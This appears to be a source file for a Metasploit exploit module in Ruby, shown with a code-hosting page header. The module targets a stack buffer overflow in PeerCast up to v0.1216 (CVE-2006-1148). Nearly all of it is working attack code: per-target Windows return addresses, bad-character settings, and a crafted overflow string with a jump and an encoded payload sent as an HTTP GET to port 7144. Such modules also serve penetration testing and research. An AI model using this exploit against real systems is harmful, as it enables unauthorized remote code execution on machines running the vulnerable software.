70 lines
1.9 KiB
Ruby
70 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PeerCast URL Handling Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in PeerCast <= v0.1216.
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The vulnerability is caused due to a boundary error within the
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handling of URL parameters.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2006-1148'],
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['OSVDB', '23777'],
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['BID', '17040']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 English SP0-SP4', { 'Ret' => 0x75023360 }],
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['Windows 2003 English SP0-SP1', { 'Ret' => 0x77d099e3 }],
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['Windows XP English SP0/SP1', { 'Ret' => 0x77dbfa2c }],
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['Windows XP English SP0/SP2', { 'Ret' => 0x77dc12b8 }],
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],
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'DisclosureDate' => 'Mar 8 2006'))
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register_options( [ Opt::RPORT(7144) ], self.class )
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end
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def exploit
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connect
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pat = rand_text_alphanumeric(1024)
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pat[768, 4] = [target.ret].pack('V')
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pat[812, 5] = [0xe9, -517].pack('CV')
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pat[300, payload.encoded.length] = payload.encoded
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uri = '/stream/?' + pat
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res = "GET #{uri} HTTP/1.0\r\n\r\n"
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print_status("Trying target address 0x%.8x..." % target.ret)
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sock.put(res)
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sock.close
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handler
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disconnect
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end
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end
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